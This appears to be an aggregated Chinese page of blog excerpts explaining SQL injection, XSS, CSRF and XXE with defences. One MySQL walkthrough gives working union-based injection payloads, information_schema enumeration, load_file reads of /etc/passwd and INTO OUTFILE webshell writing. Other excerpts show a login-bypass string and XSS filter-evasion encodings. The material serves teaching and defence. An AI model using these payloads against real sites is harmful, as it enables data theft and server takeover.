精华内容
下载资源
问答
  • Sql注入式攻击是指利用设计上的漏洞,在目标服务器上运行Sql 命令以及进行其他方式的攻击 动态生成Sql命令时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因 比如一个在线书店,可以根据用户的输入...

     Sql注入式攻击是指利用设计上的漏洞,在目标服务器上运行Sql 命令以及进行其他方式的攻击

    动态生成Sql命令时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因
    比如一个在线书店,可以根据用户的输入关键字搜索相关的图书。

    string name = GetUserInput("BookName");
    string script = "select table_book where book_name? like? N'%" + name + RunSql(script)
    RunSql(script);

    如果
    name? = " ' select @@servername where '' = ' ";
    这样就可以得到DB Server的名字


    还以在线书店为例,用户只有登陆后才能察看自己的帐户信息,这样做是无可置疑的,然而用户验证的代码如下

    //id和password直接来自用户的输入。未做处理
    string id = GetUserInput("UserID");
    string password = GetUserInput("UserPassword");

    tring script = "select * from table_user where User_ID = '" + id? + "' and User_Password? = '" + password? + "' ";
    RunSql(script);

    如果用户输入的password为“ or ''=' ”,那么生成的script就为
    select * from table_user where User_ID = 'UserID' and User_Password? = ' ' or ''=' ' 
    这样一来,即使不知道用户的密码也可以察看该用户的帐户信息了

    再比如,入侵者会把一些巧妙伪装的代码嵌入到你动态生成的Sql命令中,比如
    Delete table_Book where 1 = 1? ...
    use master--


    上面的例子都是一些简单的示例,攻击者还可能通过sql的漏洞对操作系统进行攻击,比如运行
    [xp_cmdshell],[xp_regread]

    当然实际上的攻击没有这么简单,攻击者还会利用系统设计的其他漏洞。比如程序把数据库返回的出错信息没有进行转换就直接输出给用户看,那么攻击者就设计一些sql语句诱导系统返回需要的信息


    从上面的这些例子可以看出,对数据库访问权限的设计不当,给与每一个数据库连接太多的权限,甚至dbo或sa的权限,也是sql注入式攻击利用的主要漏洞之一。

    ?

    防范sql注入式攻击


    最小权限原则。特别是不要用dbo或者sa账户,为不同的类型的动作或者组建使用不同的账户,最小权限原则适用于所有与安全有关的场合

    对用户输入进行检查。对一些特殊字符,比如单引号,双引号,分号,逗号,冒号,连接号等进行转换或者过滤;使用强数据类型,比如你需要用户输入一个整数,就要把用户输入的数据转换成整数形式;限制用户输入的长度等等。这些检查要放在server运行,client提交的任何东西都是不可信的

    使用存储过程,如果一定要使用sq语句,那么用标准的方式组建sql语句,比如可以利用parameters对象,避免用字符串直接拼sq命令。

    当sql运行出错时,不要把数据库返回的错误信息全部显示给用户,错误信息经常会透露一些数据库设计的细节

    针对常用的sql注入式攻击方式对症下药

    参考

    Advanced SQL Injection In SQL Server Applications
    http://www.nextgenss.com/papers/advanced_sql_injection.pdf

    More Advanced SQL Injection
    http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf

    展开全文
  • 浅谈如何防御Sql注入

    2013-04-12 22:17:57
    Sql注入的原理非常简单,就是用户输入的数据,程序把这些数据也当做成了命令去执行,这就产生了Sql注入 解决这个问题,也非常简单..如果我把用户输入的数据当做是数据,而不是程序去执行,那么自然就不会产生Sql注入问题....

    前段时间去听了内部4399手游老大讲了一些php安全方面的知识,有的是我也没听过的,有的是听过的,觉得比较好的,记录下来

    Sql注入的原理非常简单,就是用户输入的数据,程序把这些数据也当做成了命令去执行,这就产生了Sql注入

    解决这个问题,也非常简单..如果我把用户输入的数据当做是数据,而不是程序去执行,那么自然就不会产生Sql注入问题.

    如何把用户的输入当做是数据而不程序?

    方法即就是使用sql预编译

    熟悉java ee的人都应该比较清楚hibernate

    经常可以看到hibernate类似的语法是

    insert into table (username,password)values(?,?);

    其实这样的语法是数据库自带的,并不是hibernate所编写的,这样的方式其实就是预编译,完成的sql语句就是

    prepare pstmt from 'insert into table (username,password)values(?,?)'; 

    prepare:数据库关键字

    pstmt :为这个预编译起个名(待会会根据这个名字进行调用,在通俗点可以理解为自定义的函数名)

    from :不解释

    insert into table (username,password)values(?,?) 就是预编译的sql语句

    接下来调用的时候就是

    set @username='我是用户名'

    set @password='我是密码'

    execute pstmt using @username,@password;

    使用预编译的方式能大大的提高防御sql注入

    至于能不能百分之百?我想应该不可能的,这个世界只要是放在互联网上的数据,都是不安全的.  

    展开全文
  • 1.SQL注入原理:1).SQL命令可查询、插入、更新、删除等,命令的串接。而以分号字元为不同命 令的区别。(原本的作用是用于SubQuery或作为查询、插入、更新、删除……等 的条件式)2).SQL命令对于传入的字符串参数是用单...
    1b4ff8bfcf32216fa54e5e8adfa2925a.png

    1.SQL注入

    原理:

    1).SQL命令可查询、插入、更新、删除等,命令的串接。而以分号字元为不同命 令的区别。(原本的作用是用于SubQuery或作为查询、插入、更新、删除……等 的条件式)

    2).SQL命令对于传入的字符串参数是用单引号字元所包起来。(但连续2个单引 号字元,在SQL资料库中,则视为字串中的一个单引号字元)

    3).SQL命令中,可以注入注解

    预防:

    1).在设计应用程序时,完全使用参数化查询(Parameterized Query)来设计数据 访问功能。

    2).在组合SQL字符串时,先针对所传入的参数作字元取代(将单引号字元取代为 连续个单引号字元)。

    3).如果使用PHP开发网页程序的话,亦可打开PHP的魔术引号(Magic quote)功 能(自动将所有的网页传入参数,将单引号字元取代为连续2个单引号字元)。

    4).其他,使用其他更安全的方式连接SQL数据库。例如已修正过SQL注入问题的 数据库

    5).连接组件,例如ASP.NET的SqlDataSource对象或是 LINQ to SQL。

    使用SQL防注入系统。

    2. XSS攻击

    原理:

    xss攻击可以分成两种类型:

    1.非持久型xss攻击

    非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击 要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本 被用户游览器执行,从而达到攻击目的。

    2.持久型xss攻击

    持久型xss攻击会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据

    一直存在。下面来看一个利用持久型xss攻击获取session id的实例。

    防范:

    1.基于特征的防御

    XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同。这就给XSS漏洞防御带来了困难:不可能以单一特征来概括所有XSS攻击。

    传统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。这种检测方法的缺陷显而易见:骇客可以通过插入字符或完全编码的方式躲避检测:

    1). 在javascript中加入多个tab键,得到

    ;

    2). 在javascript中加入(空格)字符,得到

    ;

    3). 在javascript中加入(回车)字符,得到

    ;

    4). 在javascript中的每个字符间加入回车换行符,得到

    5). 对”javascript:alert(‘XSS’)”采用完全编码,得到

    上述方法都可以很容易的躲避基于特征的检测。而除了会有大量的漏报外,基于特征的

    还存在大量的误报可能:在上面的例子中,对上述某网站这样一个地址,由于包含了关键字“javascript”,也将会触发报警。

    2.基于代码修改的防御

    和SQL注入防御一样,XSS攻击也是利用了Web页面的编写疏忽,所以还有一种方法就是从Web应用开发的角度来避免:

    对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。

    实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。

    确认接收的的内容被妥善的规范化,仅包含最小的、安全的Tag(没有javascript),去掉任何对远程内容的引用(尤其是样式表和javascript),使用HTTP only的cookie。

    3. CSRF攻击

    原理:

    CSRF攻击原理比较简单,假设Web A为存在CSRF漏洞的网站,Web B为攻 击者构建的恶意网站,User C为Web A网站的合法用户。

    1.用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;

    2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用 户登录网站A成功,可以正常发送请求到网站A;

    3.用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;

    4.网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访 问第三方站点A;

    5.浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的 情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是 由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致 来自网站B的恶意代码被执行。

    防范:

    1.检查Referer字段

    HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。在 处理敏感数据请求时,通常来说,Referer字段应和请求的地址位于同一域 名下。以上文银行操作为例,Referer字段地址通常应该是转账按钮所在的 网页地址,应该也位于www.examplebank.com之下。而如果是CSRF攻击传 来的请求,Referer字段会是包含恶意网址的地址,不会位于 www.examplebank.com之下,这时候服务器就能识别出恶意的访问。

    2.添加校验token

    由于CSRF的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求 在访问敏感数据请求时,要求用户浏览器提供不保存在cookie中,并且攻击 者无法伪造的数据作为校验,那么攻击者就无法再执行CSRF攻击。这种数据 通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个 伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。 正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因 为校验token的值为空或者错误,拒绝这个可疑请求。

    更多资料分享戳一戳

    展开全文
  • MySQL注入防御

    2017-05-02 21:04:00
    1、简介  1.1、含义  在一个应用中,数据的安全无疑是最重要的。...SQL注入是这样一种攻击技术:攻击者通过把恶意SQL命令插入到Web表单的输入域或页面请求的查询字符串中,来达到欺骗服务器执...

    1、简介

      1.1、含义

      在一个应用中,数据的安全无疑是最重要的。数据的最终归宿都是数据库,因此如何保证数据库不被恶意攻击者入侵是一项重要且严肃的问题!

      SQL注入作为一种很流行的攻击手段,一直以来都受到网络安全研究者和黑客们的广泛关注。那什么是SQL注入呢?SQL注入是这样一种攻击技术:攻击者通过把恶意SQL命令插入到Web表单的输入域或页面请求的查询字符串中,来达到欺骗服务器执行恶意的SQL命令的一种攻击方式。

      想要更好的防御SQL注入,当然要了解攻击者是如何攻击的啦,自己知彼,百胜不殆!

      1.2、注入原理

      SQL注入的本质是恶意攻击者将SQL代码插入或添加到程序的参数中,而程序并没有对传入的参数进行正确处理,导致参数中的数据会被当做代码来执行,并最终将执行结果返回给攻击者

      1.3、危害

      利用SQL注入漏洞,攻击者可以操纵数据库的数据(如得到数据库中的机密数据、随意更改数据库中的数据、删除数据库等等),在得到一定权限后还可以挂马,甚至得到整台服务器的管理员权限。由于SQL注入是通过网站正常端口(通常为80端口)来提交恶意SQL语句,表面上看起来和正常访问网站没有区别,如果不仔细查看WEB日志很难发现此类攻击,隐蔽性非常高。一旦程序出现SQL注入漏洞,危害相当大,所以我们对此应该给予足够的重视。

    2、注入知识与例子解析

      2.1、注入的常用知识

    常用函数:

    1 system_user()        #系统用户名
    2 user()              #返回MYSQL用户名 
    3 current_user()        #当前用户名
    4 session_user()        #连接数据库的用户名
    5 database()           #返回当前数据库名
    6 version()            #返回当前数据库版本信息
    7 load_file()           #返回文件的内容【攻击时用于读取本例文件,攻击力大大的】
    8 into outfile '物理路径'   #将结果输出【攻击在利用将恶意脚本注入系统中】
    #有用的系统库:
    INFORMATION_SCHEMA
      mysql大于5.0的版本默认安装后都有INFORMATION_SCHEMA数据 库,INFORMATION_SCHEMA提供了访问数据库元数据的方式,是MYSQL的信息数据库,其中保存着关于MySQL服务器所维护的所有其他数 据库的信息,通过这个数据库可以查看服务器上创建了那些数据库,数据库有哪些表,表中有哪些字段,对注入很有用途。【利用它可以进行爆表、爆字段、爆内容】
    序号 表名 关键字段
    1 SCHEMATA SCHEMATA_NAME(表示数据库名称)
    2 TABLES TABLES_TABLE_SCHEMA(表示表所属的数据库名称)、TABLE_NAME(表示表的名称)

    3

    COLUMNS TABLE_SCHEMA(表示表所属的数据库名称)、TABLE_NAME(表示所属的表的名称)、 COLUMN_NAME(表示字段名)
    注入形式:
    1、union select 1,SCHEMATA_NAME,3 from information_schema.SCHEMATA limit 2,1
    2、union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLES_TABLE_SCHEMA='database_name' limit 2,1
    3、union select 1,COLUMN_NAME,3 from information_schema.COLUMNS where TABLE_NAME='table_name' limit 2,1
    注:这仅仅只是写法形式,在没有任何防御措施的情况下可注入。当有转义单引号的过滤,那么上面的语句肯定不成功的,必须做出相应的修改方可成功。
    注入小技巧:
      1、当我们注入的时候,如果空格被过滤机制处理掉了,那么我们可以使用注释来生成空格。例如:select/**/1,2,3
      2、使用union进行查询时,需要对应数据类型【谨记谨记】;例如union前面的第一列是int,后面就不要对应string了

      2.2、注入流程

      1.判断Web系统使用的脚本语言,发现注入点,并确定是否存在SQL注入漏洞

      2.判断Web系统的数据库类型

      3.判断数据库中表及相应字段的结构

      4.构造注入语句,得到表中数据内容

      5.查找网站管理员后台,用得到的管理员账号和密码登录

      6.结合其他漏洞,想办法上传一个Webshell

      7.进一步提权,得到服务器的系统权限

      (注:以上为一般流程,根据实际情况,情况可能会有所不同。)

      2.3、实例解析

        a、构造注入环境

    建立两张表

    CREATE DATABASE test88;
    USE test88;
    CREATE
    TABLE `admin` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(32) DEFAULT NULL, `password` varchar(32) DEFAULT NULL, PRIMARY KEY (`id`) ) ; CREATE TABLE `goods` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(32) DEFAULT NULL, `brand` varchar(32) DEFAULT NULL, PRIMARY KEY (`id`) );

    test2.php文件

     1 header('content-type:text/html;charset=utf8');
     2 $link=mysql_connect('127.0.0.1','root','321');
     3 mysql_set_charset('utf8');
     4 mysql_select_db('test88');
     5 $id=$_GET['id'];
     6 $sql="select*from admin where id=".$id;
     7 echo "<pre>";
     8 print_r($sql);      #查看SQL语句
     9 echo "</pre>";
    10 $result=mysql_query($sql);
    11 while($rec=mysql_fetch_assoc($result))
    12 {
    13     echo "<pre>";
    14     print_r($rec);    #查询结果
    15     echo "</pre>";
    16 }

        b、查找注入点

      【针对的SQL语句:$sql="select*from admin where id=".$id;  #(代码中的);无任何过滤,直接注入】

      正常访问:www.linuxtest.com/test2.php?id=1

      查找注入点:

      1、非正常访问www.linuxtest/test2.php?id=1',结果返回非正常页面,说明可能有注入节点存在,继续下面的验证

      2、继续非正常访问www.linuxtest/test2.php?id=1 and 1=1,结果返回正常页面

      3、继续非正常访问www.linuxtest/test2.php?id=1 and 1=2,结果返回非正常页面,有注入节点,可以直接在id=1后面增加攻击SQL语句

      (当然我们测试的SQL语句的数据是没经过任何处理,最简单最容易被攻击的,所以就so easy【仅仅只是做个示例】)

      【其他SQL1语句:$sql="select*from admin where id=$id";

      与上面相同

      【其他SQL2语句:$sql="select*from admin where id=‘{$id}’";

      此时存在注入点,但是我们必须消除单引号才能进行相应的攻击SQL的插入,方法有:

    • 增加(and ‘=)进行消除;例如:test2.php?id=1' union select 1,2,3 and '=;结果SQL为:select*from admin where id='1' union select 1,2,3 and '='
    • 增加(and “=’)、(union select 1,2,'3)等等。同理
    • 使用注释(--)进行消除【注:有一个缺点,就是在复杂的SQ语句中会有很大的出错几率;上面则不存在】;例如:test2.php?id=1' union select 1,2,3 -- 注释;结果SQL为:select*from admin where id='1' union select 1,2,3 -- 注释'
    • 。。。。。方法无穷无尽,自己研究

        c、判断数据库类型

      访问:http://www.linuxtest.com/test2.php?id=1 and ord(mid(version(),1,1))>51

     

      返回正常页面说明这个数据库版本大于4.0,可以使用uinon查询。反之就是4.0以下版本或者是其他类型数据库

        d、破此表字段数目(为使用union做铺垫)

      方法一:猜猜法!(2233)例如:访问www.linuxtest.com/test2.php?id=1 union select 1,2[,3,.....,n];直到不产生错误则n就是此表的列数

      方法二:使用order by 排序,并运用二分法,猜猜猜!例如:访问www.linuxtest.com/test2.php?id=1 order by [1|2|3|....|n];按照第[1|2|3|...|n]列排序;只要结果显示正常的就表示此表列数大于等于这个数(咱可以采用二分法进行猜嘛!)

      人品大爆炸,一猜就被我猜中了!(223333)

        e、查看具体版本号

      使用version()、和database()函数查看具体数据库版本号以及此时使用的数据库

      访问:www.linuxtest.com/test2.php?id=1 union select 1,version(),database()

      结果显示:1、MySQL数据库版本为5.5,大于5.0,存在INFORMATION_SCHEMA数据库;2、此时使用的数据库为test88

        f、爆表

      【此时我们假设goods表是后台管理人员的账号密码表

      爆第一个表名:

      访问www.linuxtest.com/test2.php?id=100 union select 1,TABLE_NAME,3 from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='test88' limit 0,1

      爆第二个表名:

      访问www.linuxtest.com/test2.php?id=100 union select 1,TABLE_NAME,3 from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='test88' limit 1,1

      【以此类推知道找到想要的表】

      结果显示,我们找到管理员账号密码表啦

     

        g、爆字段

      同理

      访问:www.linuxtest.com/test2.php?id=100 union select 1,column_name,3 from information_schema.columns where table_name='goods' limit 0,1

        以此类推,将想要的字段全部找出来。(字段有,name、brand)

        h、爆内容

       访问:www.linuxtest.com/test2.php?id=100 union select 1,name,brand from goods limit 0,1

      【以此类推,获取想要的内容】

       2.4、使用load_file()和outfile进行入侵

        a、知识铺垫

      我们都知道在MySQL中,函数中的参数如果是字符串那必须采用单引号或者双引号括主、where中的字符串类型匹配也是如此。

      但是我们可以使用字符的十六进制(0x**)或者ASCII码(char(**))来表示。【此时不再需要引号】

      例子:

      因此,当我们使用函数进行注入的时候单引号被过滤处理了,那么将会出现错误!

      此时我们可以使用字符串的十六进制或者ASCII码的十进制进行注入!

        b、Load_file()函数

      Load_file  是MySQL读取本地文件所用到的函数,顾名思义,就是加载文件,我们这里就是将文件内容显示出来。当我可以将系统中的文件随意的读写出来,那么这个攻击给Web应用所造成的损失那将是无法估量的!

      首先我们来判断该mysql是否拥有读写权限;在注入点加上这句SQL进行检测,返回正常页面则表示拥有读写权限!【and (select count(*) from mysql.user)>0】

      在确认拥有读写权限后,接着我们可以进行load_file()注入啦!

      可以用这个函数去读取系统的敏感文件,去寻找配置文件,寻找数据 库连接文件,寻找社工文件,寻找WEB物理路径等等

      测试:获取linux中/etc/passwd文件内容

      方式一(明文字符串):访问www.linuxtest.com/test2.php?id=1 union select 1,load_file('/etc/passwd' ),3

      【注:此时需要单引号没有被过滤】

      方式二(ASCII码十进进):访问www.linuxtest.com/test2.php?id=1 union select 1,load_file(char(47,101,116,99,47,112,97,115,115,119,100)) ,3

      【注:(/etc/passwd)字符串的ASCII码是47,101,116,99,47,112,97,115,115,119,100】

      方式三(字符串十六进制):访问www.linuxtest.com/test2.php?id=1 union select 1,2,load_file(0x2f6574632f706173737764)

      【注:(/etc/passwd)字符串的十六进制为0x2f6574632f706173737764】

      问题解决:

      通过load_file 可以列目录,读文件,但是遇到文件格式编码的时候也许会遇到乱码的问题。这个问题可以这么解决, 使用使用MySQL中的 subString 函数, subString(字符串,开始,返回)。

      例如:Substring(load_file(A),50,100)就是把A的内容的第50个字母开始回显100个给你。

      访问www.linuxtest.com/test2.php?id=1 union select 1,2,Substring(load_file(0x2f6574632f706173737764),50,100)

        c、outfile入侵

      mysql中outfile的作用就是将查询的结果输出到文件中

      例如:select ‘hello word’ into outfile ‘/a.txt’ 这里是讲 ‘hello word’ 输出到 /a.txt(linux系统中)

      前提条件:

      1、获得物理路径(into outfile '物理路径') 这样才能写对目录
      2、能够使用union (也就是说需要MYSQL3以上的版本)
      3、对方没有对 ' 进行过滤(因为outfile 后面的 ' ' 不可以用其他函数代替转换)
      4、就是MYSQL用户拥有file_priv权限(不然就不能写文件 或者把文件内容读出)
      5、对web目录有写权限MS的系统一般都有权限,但是LINUX通常都是rwxr-xr-x 也就是说组跟其他用户都没有权限写操作

      对应条件解决:

      1、我们一般可以靠数据库出错信息来爆出来,不行的话,也可以通过load_file()来得到

      2、上面的实例解析步骤c有介绍检测方法

      3、也不多见对 '''过滤的

      4、2.4b中有介绍检查方法(这个得看运行mysql的用户有多大权限了)

      5、一般多试试上传目录,图片目录,还是大部分都有读写权限的

      测试:将数据输出到'/use/local/mysql/data'中【因为我给运行mysql的用户权限相对较低,要是测试更明显方便那就采用root运行MySQL吧!】

      访问www..linuxtest.com/test2.php?id=1 union select 1,2,3 into outfile '/usr/local/mysql/data/aaa.txt'

      将123写入系统/usr/local/mysql/data/aaa.txt中【123可以修改为你想要的攻击代码】

      综合下面图片,我们得知内人注入成功!

      但为什么会出错呢?

      【注】:

      问:当网站不给你上传,或者网站过滤上传的内容,那怎么办呢?

      答:使用字符串十六进制码或者ASCII码来代替

      使用形式:

      1、union select 1,load_file( /www/home/html/upload/qingyafengping.jpg【你已经上传的文件】),3,4,5,6 into outfile '/www/home/html/coder.php'/

      2、 union select 1,char(【字符串的十六进制码或者ASCII十进制码】),3,4,5,6 into outfile '/www/home/html/coder.php'

      3、。。。。等等

    3、防御方法

      通过前面的讲解我们得知,要想成功利用SQL注入漏洞,需要同时满足两个条件,一是攻击者可以控制用户的输入,二是注入的代码要被成功执行。下面的内容主要围绕这两个方面来展开。

      【从源头进行防御的思想】即需要对从其他地方传递过来的参数在进入数据库之前进行正确的处理。主要有以下几个方面

      1、在表单中通过js绑定数据类型、或者过滤一些非法字符

      2、连接数据库时,使用预编译语句,绑定变量【PHP中使用mysqli、PDO进行连接使用数据库】

      3、在数据进入后台逻辑时,先对传入的参数进行验证,确保符合应用中定义的标准。主要有白名单和黑名单两种方法来实现。从理论上来讲,白名单的安全性要比黑名单高,因为它只允许在白名单中定义的数据通过,其他数据都会被过滤掉。黑名单只会过滤定义在黑名单中的数据(比如SQL注入中的一些危险字符),通常使用正则表达式来实现。但需要注意的是,由于黑名单不可能包含所有的危险字符,所以可能会出现黑名单被绕过的情况。例如在mysql注入中,当在黑名单中过滤了空格字符,我们可以使用"/*(mysql中注释符)"和"+"来代替空格,绕过黑名单的限制继续注入,因此我们应该尽量多使用白名单。

    4、总结

      这篇文章整理了好久了,毕竟菜鸟级别还需要慢慢测试校验,才能得出相应的结论。其实关于MySQL的内容还有很多,例如宽字节注入、数据过滤以及如何绕过数据过滤、详细的防御方法及步骤等等,但是这里已经写得太长了,所以MySQL注入的防御就简单写了个大概的方法,具体的没有测试校验贴出来,改天再来写一篇MySQL注入防御的文章(内容、步骤当然是要详细的啦)

      写这篇文章收获还是蛮多的,这不是第一次接触MySQL注入的问题,但是每当重新接触并学习总结之前的内容就会有新的收获与体会,对知识的理解将会更加的深刻!

    5、参考文献

    1. 《mysql注入精华

    2.《一份很详细的mysql注入

     

    (以上是自己的一些见解,若有不足或者错误的地方请各位指出)

     作者:那一叶随风   http://www.cnblogs.com/phpstudy2015-6/

     原文地址:http://www.cnblogs.com/phpstudy2015-6/p/6790490.html

     声明:本博客文章为原创,只代表本人在工作学习中某一时间内总结的观点或结论。转载时请在文章页面明显位置给出原文链接

    转载于:https://www.cnblogs.com/phpstudy2015-6/p/6790490.html

    展开全文
  • 1.SQL注入 原理: 1).SQL命令可查询、插入、更新、删除等,命令的串接。而以分号字元为不同命 令的区别。(原本的作用是用于SubQuery或作为查询、插入...3).SQL命令中,可以注入注解 预防: 1).在设计应用程序时,完全...
  • 简介SQL注入就是客户端在向服务器发送请求的时候,sql命令通过表单提交或者url字符串拼接传递到后台持久层,最终达到欺骗服务器执行恶意的SQL命令;实践项目中如何防止sql注入呢,有以下三点:前端表单进行参数格式...
  • SQL注入攻击与防御

    千次阅读 2019-03-03 18:30:33
    SQL注入攻击与防御 ​所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 1.1 分类: ​常见的SQL注入类型包括:数字型和字符型。也有人把...
  • 一.关于SQL注入SQL注入是一种常见的入侵WEB应用的手法。SQL注入是利用应用系统的编程漏洞和SQL语言的语法特征,改变原始的SQL语句执行逻辑而产生的。攻击者向Web应用发送精心构造的输入数据,这些...二.SQL注入如何...
  • 1.SQL注入原理:1).SQL命令可查询、插入、更新、删除等,命令的串接。而以分号字元为不同命 令的区别。(原本的作用是用于SubQuery或作为查询、插入、更新、删除……等 的条件式)2).SQL命令对于传入的字符串参数是用...
  • 1.SQL注入原理:1).SQL命令可查询、插入、更新、删除等,命令的串接。而以分号字元为不同命 令的区别。(原本的作用是用于SubQuery或作为查询、插入、更新、删除……等 的条件式)2).SQL命令对于传入的字符串参数是用单...
  • 1、sql注入怎么防御? 答:sql语句预编译 为什么预编译能防止sql注入? 吐血!!平时只记着sql注入防御方法是预编译,没想到问这个还答不上来。 赶紧补一补,下面是我的个人理解,如有哪里写的不对 ,恳请各位...
  • sql注入、csrf

    2019-10-06 21:54:06
    如何防御sql注入? SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台...
  • 垃圾进,什么都不出: 三种方法处理进来的垃圾情况检查所有来源于外部的数据的值,防止能攻击你系统的数据(sql注入命令,html注入,整数溢出,传给系统调用的数据) 检查子程序所有输入参数的值 决定如何处理错误的输入...
  • 目录: 前言 漏洞原理 Demo演示 如何发现XXE漏洞 ...简单来说,XXE就是XML外部实体...当应用程序允许引用外部实体时,通过构造恶意内容,就可以导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危...
  • 讲解Unity如何从数据库获取数据,以及如何通过代码层面实现SQL注入攻击和防御,全面的讲解如何对数据库发送操作命令,包括增删查改,以及数据库存储过程的调用....
  • Web应用攻击防护基于内置的专家经验规则集,自动为网站防御QL注入、XSS跨站,webshell上传、命令注入、后门隔离、非法文件请求、路径穿越、常见应用漏洞攻击等通用的Web攻击。您可以根据实际需求调整Web应用攻击防护...
  • 昨天给大家普及到了渗透测试中执行命令漏洞的检测方法,今天抽出时间由我们Sine安全的渗透工程师来讲下遇到文件包含漏洞以及模板注入漏洞的检测方法和防御手段,本文仅参考给有授权渗透测试的正规安全检测的客户,让更...
  • 昨天给大家普及到了渗透测试中执行命令漏洞的检测方法,今天抽出时间由我们Sine安全的渗透工程师来讲下遇到文件包含漏洞以及模板注入漏洞的检测方法和防御手段,本文仅参考给有授权渗透测试的正规安全检测的客户,让更...
  • 1.基础问题回答 (1)SQL注入攻击原理,如何防御 ...命令注入 日志欺骗 LAB: SQL Injection XSS攻击 Phishing with XSS 跨站脚本钓鱼攻击 存储型XSS攻击(Stored XSS Attacks) Reflected XSS...
  • Exp9 Web安全基础 目录 一、实验内容 二、基础问题回答 (1)SQL注入攻击原理,如何防御 ...(1)命令注入(Command Injection) (2)数字型SQL注入(Numeric SQL Injection) (3)日志欺骗(Log Sp...
  • (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的 防御手段:利用输入规则限制进行防御,不...
  • SQL攻击时通过在输入框中输入语句,构造出SQL命令,把这段命令注入到表单中,让后台的数据库执行恶意的SQL语句以实现攻击。 防御方法:采用sql语句预编译和绑定变量是最佳的方法。在不能使用sql语句预编译的情况下,...
  • Exp9 Web安全基础

    2019-10-05 12:19:15
    (1)SQL注入攻击原理,如何防御 SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 SQL注入攻击是黑客对数据库进行攻击的常用手段之一。 ...
  • 20145313exp9

    2017-05-17 21:44:00
    具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。...
  • (1)SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。 防御:利用输入规则限制进行防御,过滤...
  • 即把SQL命令注入到Web表单的输入域或页面请求的查询字符串,和之前已经设定好的查询语句构成关联,欺骗服务器执行恶意的SQL命令,从而达到控制读取网页等目的。 防御:对用户输入的参数进行过滤,对输入数据的合法性...
  • 答 :原理: 利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入恶意SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句,最终达到欺骗...

空空如也

空空如也

1 2 3 4 5 6
收藏数 106
精华内容 42
关键字:

命令注入如何防御